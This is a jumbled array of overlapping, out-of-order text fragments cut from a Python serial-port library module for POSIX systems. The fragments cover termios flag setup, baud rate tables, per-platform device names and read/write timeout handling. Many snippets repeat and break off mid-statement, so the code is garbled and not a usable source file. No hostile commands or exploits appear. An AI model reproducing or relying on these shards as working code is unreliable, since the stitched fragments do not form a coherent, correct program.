self.fd\",\n \"until the requested number of bytes is read.\\\"\\\"\\\" if self.fd is None: raise\",\n \"raw mode / no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL|\",\n \"self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'):\",\n \"on this platform\\\") baudrate_constants = {} else: # platform detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\\",\n \"baudrate): raise ValueError(\\\"baud rate not supported\\\") def device(port): return '/dev/cuad%d' % port baudrate_constants\",\n \"< 0 or vmin > 255: raise ValueError('Invalid vmin: %r ' % vmin)\",\n \"set blocking try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any exception when\",\n \"python # # Python Serial Port Extension for Win32, Linux, BSD, Jython #\",\n \"% self._parity) # setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff:\",\n \"of file like objects. In this case, wait until all data is written.\\\"\\\"\\\"\",\n \"# update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try:\",\n \"custom_baud < 0: raise ValueError('Invalid baud rate: %r' % self._baudrate) # setup char\",\n \"set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to\",\n \"get this module running... \\\"\\\"\\\" % (sys.platform, os.name, VERSION)) # no exception, just\",\n \"None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \\\"\\\"\\\"For easier use of the\",\n \"bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3,\",\n \"the base # for file-like behavior. for Python 2.6 and newer, that provide\",\n \"if plat[:5] == 'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d' % port\",\n \"stop bits timeout=3, # set a timeout value, None for waiting forever xonxoff=0,\",\n \"raise SerialException(\\\"Port must be configured before it can be used.\\\") # open try:\",\n \"# for file-like behavior. for Python 2.6 and newer, that provide the new\",\n \"use. # try to use values from TERMIOS, use defaults from linux otherwise\",\n \"for POSIX compatible systems, like Linux # see __init__.py # # (C) 2001-2010\",\n \"platform\\\") baudrate_constants = {} elif plat[:4] == 'irix': # IRIX (partially tested) def\",\n \"nothing to read. if not ready: break # timeout buf = os.read(self.fd, size-len(read))\",\n \"%r' % baudrate) baudrate_constants = { 0: 0000000, # hang up 50: 0o000001,\",\n \"# also to keep original exception that happened when setting up pass self.fd\",\n \"&= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL,\",\n \"sys, os, fcntl, termios, struct, select, errno, time from .serialutil import * #\",\n \"and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \\\"\\\"\\\"Serial port class POSIX implementation. Serial port\",\n \"data is written.\\\"\\\"\\\" self.drainOutput() def flushInput(self): \\\"\\\"\\\"Clear input buffer, discarding all that is\",\n \"# setup baud rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate))\",\n \"len: %r' % self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE: cflag &=\",\n \"waiting forever xonxoff=0, # enable software flow control rtscts=0, # enable RTS/CTS flow\",\n \"{} elif plat[:4] == 'irix': # IRIX (partially tested) def device(port): return '/dev/ttyf%d'\",\n \"size=1): \\\"\\\"\\\"Read size bytes from the serial port. If a timeout is set\",\n \"% portnum def set_special_baudrate(port, baudrate): raise SerialException(\\\"sorry don't know how to handle non\",\n \"or \\\\ plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def device(port):\",\n \"if int(version[0]) >= 8: def set_special_baudrate(port, baudrate): # use IOKit-specific call to set\",\n \"baudrate_constants = {} else: # platform detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how\",\n \"however this one has better handling of errors, such as a device disconnecting\",\n \"time.time() if timeleft < 0: raise writeTimeoutError _, ready, _ = select.select([], [self.fd],\",\n \"timeleft < 0: raise writeTimeoutError _, ready, _ = select.select([], [self.fd], [], timeleft)\",\n \"fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): \\\"\\\"\\\"Read terminal\",\n \"= termios if (sys.hexversion < 0x020200f0): import FCNTL else: FCNTL = fcntl #\",\n \"buf = os.read(self.fd, size-len(read)) # read should always return some data as select\",\n \"plat = sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed) def device(port): return\",\n \"{} elif plat[:6] == 'darwin': # OS X version = os.uname()[2].split('.') # Tiger\",\n \"Runs on Linux and many other Un*x like systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open port\",\n \"otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS')\",\n \"struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or\",\n \"try: ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try: ispeed\",\n \"store for later except ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate) else:\",\n \"raise SerialException('device reports error (poll)') # we don't care if it is select.POLLIN\",\n \"return less characters as requested. With no timeout it will block until the\",\n \"(confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030\",\n \"# ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select,\",\n \"0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016,\",\n \"library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll based read implementation. not\",\n \"handle non standard baud rate on this platform\\\") baudrate_constants = {} elif plat\",\n \"bytes from the serial port. If a timeout is set it may return\",\n \"1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 }\",\n \"reported it was # ready to read when we get to this point.\",\n \"port): return device(port) # - - - - - - - - -\",\n \"portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None: raise\",\n \"baudrate): # use IOKit-specific call to set up high speeds import array, fcntl\",\n \"immediately # but reading returns nothing. raise SerialException('device reports readiness to read but\",\n \"library, derrive from io.RawIOBase try: import io except ImportError: # classic version with\",\n \"empty lists -> thus abort read operation. # For timeout == 0 (non-blocking\",\n \"or software flow control is enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF)\",\n \"TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET =\",\n \"|= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF)\",\n \"self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \\\"\\\"\\\"Clear output buffer, aborting\",\n \"cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB)\",\n \"% (v,)) return len(data) def flush(self): \\\"\\\"\\\"Flush of file like objects. In this\",\n \"activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) # apply\",\n \"is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str)\",\n \"PosixSerial(SerialBase): \\\"\\\"\\\"Serial port class POSIX implementation. Serial port configuration is done with termios\",\n \"/ binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in\",\n \"Serial(PosixSerial, FileLike): pass else: # io library present class Serial(PosixSerial, io.RawIOBase): pass class\",\n \"the author of this module: sys.platform = %r os.name = %r serialposix.py version\",\n \"is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str)\",\n \"device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port,\",\n \"is None: raise portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if\",\n \"read.extend(buf) if ((self._timeout is not None and self._timeout >= 0) or (self._interCharTimeout is\",\n \"# with the time left as timeout timeleft = timeout - time.time() if\",\n \"elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate constant name if self._rtscts: cflag\",\n \"# if a port is nonexistent but has a /dev file, it'll fail\",\n \"current output and discarding all that is in the buffer.\\\"\\\"\\\" if self.fd is\",\n \"< size: # print \\\"\\\\tread(): size\\\",size, \\\"have\\\", len(read) #debug # wait until device\",\n \"def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non standard baud\",\n \"fcntl. Runs on Linux and many other Un*x like systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open\",\n \"idle state after given duration.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25))\",\n \"name of the serial port and where the counting starts for the first\",\n \"or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS,\",\n \"\\\"\\\"\\\"Serial port class POSIX implementation. Serial port configuration is done with termios and\",\n \"# set custom divisor buf[6] = buf[7] / baudrate # update flags buf[4]\",\n \"'/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle\",\n \"the new I/O # library, derrive from io.RawIOBase try: import io except ImportError:\",\n \"ispeed = ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store for\",\n \"+ 1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non\",\n \"\\\"\\\"\\\"Clear output buffer, aborting the current output and discarding all that is in\",\n \"and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR\",\n \"for serial IO for POSIX compatible systems, like Linux # see __init__.py #\",\n \"timeout timeleft = timeout - time.time() if timeleft < 0: raise writeTimeoutError _,\",\n \"and the base # for file-like behavior. for Python 2.6 and newer, that\",\n \"int(version[0]) >= 8: def set_special_baudrate(port, baudrate): # use IOKit-specific call to set up\",\n \"cflag &= ~TERMIOS.CSIZE if self._bytesize == 8: cflag |= TERMIOS.CS8 elif self._bytesize ==\",\n \"- - - - - - - - - - - def inWaiting(self):\",\n \"\\\"\\\"\\\"Read terminal status line: Ring Indicator\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s\",\n \"# BSD (confirmed) def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise\",\n \"sendBreak(self, duration=0.25): \\\"\\\"\\\"Send break condition. Timed, returns to idle state after given duration.\\\"\\\"\\\"\",\n \"= int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc =\",\n \"# wait until device becomes ready to read (or something fails) for fd,\",\n \"0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat ==\",\n \"or 0x5428 class PosixSerial(SerialBase): \\\"\\\"\\\"Serial port class POSIX implementation. Serial port configuration is\",\n \"fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version < 8 def set_special_baudrate(port, baudrate): raise\",\n \"oflag, cflag, lflag, ispeed, ospeed, cc]) # apply custom baud rate, if any\",\n \"<NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios,\",\n \"(TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning if\",\n \"if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \\\"\\\"\\\"Set break:\",\n \"TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \\\"\\\"\\\"Serial port class POSIX implementation. Serial port configuration\",\n \"portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0 #\",\n \"from .serialutil import * # Do check the Python version as some constants\",\n \"raise SerialException('write failed: %s' % (v,)) return len(data) def flush(self): \\\"\\\"\\\"Flush of file\",\n \"where the counting starts for the first serial port. e.g. 'first serial port:\",\n \"# - - - - - - - - - - - -\",\n \"'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040\",\n \"own file-like emulation class Serial(PosixSerial, FileLike): pass else: # io library present class\",\n \"200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800:\",\n \"is set, use select to wait for being ready # with the time\",\n \"later except ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate) else: if custom_baud\",\n \"baudrate_constants = {} #~ raise Exception, \\\"this module does not run on this\",\n \"read but returned no data (device disconnected?)') read.extend(buf) return bytes(read) def write(self, data):\",\n \"and self._timeout >= 0) or (self._interCharTimeout is not None and self._interCharTimeout > 0))\",\n \"rate: %r' % self._baudrate) # may need custom baud rate, it isn't in\",\n \"device(port): return '/dev/cuad%d' % port baudrate_constants = {} elif plat[:6] == 'netbsd': #\",\n \"class PosixPollSerial(Serial): \\\"\\\"\\\"poll based read implementation. not all systems support poll properly. however\",\n \"(confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't\",\n \"# apply custom baud rate, if any if custom_baud is not None: set_special_baudrate(self,\",\n \"return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to\",\n \"plat == 'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port +\",\n \"control rtscts=0, # enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello')\",\n \"the serial port.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError t = len(data) d\",\n \"as timeout timeleft = timeout - time.time() if timeleft < 0: raise writeTimeoutError\",\n \"== 'hp': # HP-UX (not tested) def device(port): return '/dev/tty%dp0' % (port+1) def\",\n \"and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS\",\n \"elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' %\",\n \"1.6 testing by Erk def device(port): return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate):\",\n \"return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): \\\"\\\"\\\"Read terminal status line: Data\",\n \"0 def getDSR(self): \\\"\\\"\\\"Read terminal status line: Data Set Ready\\\"\\\"\\\" if self.fd is\",\n \"TIOCCBRK) def setRTS(self, level=1): \\\"\\\"\\\"Set terminal status line: Request To Send\\\"\\\"\\\" if self.fd\",\n \"|= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r' % self._stopbits) # setup\",\n \"is read.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError read = bytearray() while len(read)\",\n \"closing the port # also to keep original exception that happened when setting\",\n \"XXX same as TWO.. there is no POSIX support for 1.5 elif self._stopbits\",\n \"from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS =\",\n \"custom_baud = int(self._baudrate) # store for later except ValueError: raise ValueError('Invalid baud rate:\",\n \"< 0: raise writeTimeoutError _, ready, _ = select.select([], [self.fd], [], timeleft) if\",\n \"high speeds import array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T',\",\n \"class PosixSerial(SerialBase): \\\"\\\"\\\"Serial port class POSIX implementation. Serial port configuration is done with\",\n \"derrive from io.RawIOBase try: import io except ImportError: # classic version with our\",\n \"or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS,\",\n \"from the serial port. If a timeout is set it may return less\",\n \"class with the platform specifc implementation and the base # for file-like behavior.\",\n \"== PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag\",\n \"inWaiting(self): \\\"\\\"\\\"Return the number of characters currently in the input buffer.\\\"\\\"\\\" #~ s\",\n \"~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud rate try: ispeed\",\n \"it is select.POLLIN or timeout, that's # handled below buf = os.read(self.fd, size\",\n \"size\\\",size, \\\"have\\\", len(read) #debug # wait until device becomes ready to read (or\",\n \"configure port: %s\\\" % msg) # set up raw mode / no echo\",\n \"number of data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number of\",\n \"== PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' % self._parity) #\",\n \"else: if custom_baud < 0: raise ValueError('Invalid baud rate: %r' % self._baudrate) #\",\n \"if the device name is not correct for the platform it has chances\",\n \"a device can be selected... # this code block should supply a device()\",\n \"cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid\",\n \"- - - - - - - def inWaiting(self): \\\"\\\"\\\"Return the number of\",\n \"happened when setting up pass self.fd = None raise else: self._isOpen = True\",\n \"hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS,\",\n \"t > 0: try: n = os.write(self.fd, d) if timeout: # when timeout\",\n \"elif plat[:4] == 'irix': # IRIX (partially tested) def device(port): return '/dev/ttyf%d' %\",\n \"TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2')\",\n \"__init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> # this is distributed under a\",\n \"buf) except IOError: raise ValueError('Failed to set custom baud rate: %r' % baudrate)\",\n \"baudrate) baudrate_constants = { 0: 0000000, # hang up 50: 0o000001, 75: 0o000002,\",\n \"ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate) else: if custom_baud < 0:\",\n \"[], timeleft) if not ready: raise writeTimeoutError d = d[n:] t = t\",\n \"import FCNTL else: FCNTL = fcntl # try to detect the OS so\",\n \"get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] = buf[7] /\",\n \"ValueError('Failed to set custom baud rate: %r' % baudrate) baudrate_constants = { 0:\",\n \"% self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid baud rate: %r' %\",\n \"<<EMAIL>> # this is distributed under a free software license, see license.txt #\",\n \"is in the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def\",\n \"how to number ttys on this system. ! Use an explicit path (eg\",\n \"self.fd is not None: os.close(self.fd) self.fd = None self._isOpen = False def makeDeviceName(self,\",\n \"up 50: 0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006,\",\n \"writeTimeoutError d = d[n:] t = t - n except OSError as v:\",\n \"1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600:\",\n \"use of the serial port instance with select. WARNING: this function is not\",\n \"& TIOCM_CTS != 0 def getDSR(self): \\\"\\\"\\\"Read terminal status line: Data Set Ready\\\"\\\"\\\"\",\n \"oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if\",\n \"io except ImportError: # classic version with our own file-like emulation class Serial(PosixSerial,\",\n \"for later use. # try to use values from TERMIOS, use defaults from\",\n \"rate: %r' % self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid baud rate:\",\n \"# ready to read when we get to this point. if not buf:\",\n \"rate: %r' % baudrate) baudrate_constants = { 0: 0000000, # hang up 50:\",\n \"* 10) try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except\",\n \"stop bit specification: %r' % self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if\",\n \"of bytes is read.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError read = bytearray()\",\n \"returns to idle state after given duration.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"setBreak(self, level=1): \\\"\\\"\\\"Set break: Controls TXD. When active, no transmitting is possible.\\\"\\\"\\\" if\",\n \"if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') # we don't care\",\n \"TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR =\",\n \"mode / no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN)\",\n \"control def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non standard\",\n \"if self.fd is None: raise portNotOpenError t = len(data) d = data if\",\n \"no timeout it will block until the requested number of bytes is read.\\\"\\\"\\\"\",\n \"TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 =\",\n \"level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \\\"\\\"\\\"Read terminal status\",\n \"TERMIOS = termios if (sys.hexversion < 0x020200f0): import FCNTL else: FCNTL = fcntl\",\n \"portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \\\"\\\"\\\"Send break condition. Timed, returns to idle\",\n \"= hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \\\"\\\"\\\"Serial port class POSIX\",\n \"(select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') # we don't care if it is\",\n \"or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS,\",\n \"size bytes from the serial port. If a timeout is set it may\",\n \"& (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') # we don't care if it\",\n \"{} elif plat[:6] == 'netbsd': # NetBSD 1.6 testing by Erk def device(port):\",\n \"iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |=\",\n \"is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd\",\n \"platform\\\") baudrate_constants = {} elif plat[:6] == 'darwin': # OS X version =\",\n \"if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \\\"\\\"\\\"For easier\",\n \"# we don't care if it is select.POLLIN or timeout, that's # handled\",\n \"specific - - - - def drainOutput(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd\",\n \"msg: self.fd = None raise SerialException(\\\"could not open port %s: %s\\\" % (self._port,\",\n \"TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char len:\",\n \"flow control rtscts=0, # enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput()\",\n \"7: cflag |= TERMIOS.CS7 elif self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize\",\n \"serial port. e.g. 'first serial port: /dev/ttyS0' and with a bit luck you\",\n \"this is distributed under a free software license, see license.txt # # parts\",\n \"tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX different device names depending on\",\n \"return '/dev/cuad%d' % port baudrate_constants = {} elif plat[:6] == 'netbsd': # NetBSD\",\n \"= len(data) d = data if self._writeTimeout is not None and self._writeTimeout >\",\n \"serial port. If a timeout is set it may return less characters as\",\n \"it's in use (e.g. USB-serial unplugged)\\\"\\\"\\\" def read(self, size=1): \\\"\\\"\\\"Read size bytes from\",\n \"PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |=\",\n \"fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED,\",\n \"set up high speeds import array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED =\",\n \"line: Data Set Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd,\",\n \"~TERMIOS.CSIZE if self._bytesize == 8: cflag |= TERMIOS.CS8 elif self._bytesize == 7: cflag\",\n \"the OS so that a device can be selected... # this code block\",\n \"def open(self): \\\"\\\"\\\"Open port with current settings. This may throw a SerialException if\",\n \"hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else:\",\n \"the device name of the serial port and where the counting starts for\",\n \"apply custom baud rate, if any if custom_baud is not None: set_special_baudrate(self, custom_baud)\",\n \"sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d' %\",\n \"else: self._isOpen = True #~ self.flushInput() def _reconfigurePort(self): \\\"\\\"\\\"Set communication parameters on opened\",\n \"hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or\",\n \"on this platform\\\") baudrate_constants = {} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed)\",\n \"a valid file descriptor\\\") custom_baud = None vmin = vtime = 0 #\",\n \"compatible systems, like Linux # see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>>\",\n \"self._interCharTimeout > 0)) and not buf: break # early abort on timeout return\",\n \"Terminal Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str)\",\n \"s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation, proved to\",\n \"= {} elif plat == 'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d'\",\n \"%s\\\" % msg) # set up raw mode / no echo / binary\",\n \"netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &=\",\n \"|= (TERMIOS.CSTOPB) # XXX same as TWO.. there is no POSIX support for\",\n \"author of this module: sys.platform = %r os.name = %r serialposix.py version =\",\n \"FCNTL = fcntl # try to detect the OS so that a device\",\n \"1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000:\",\n \"and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 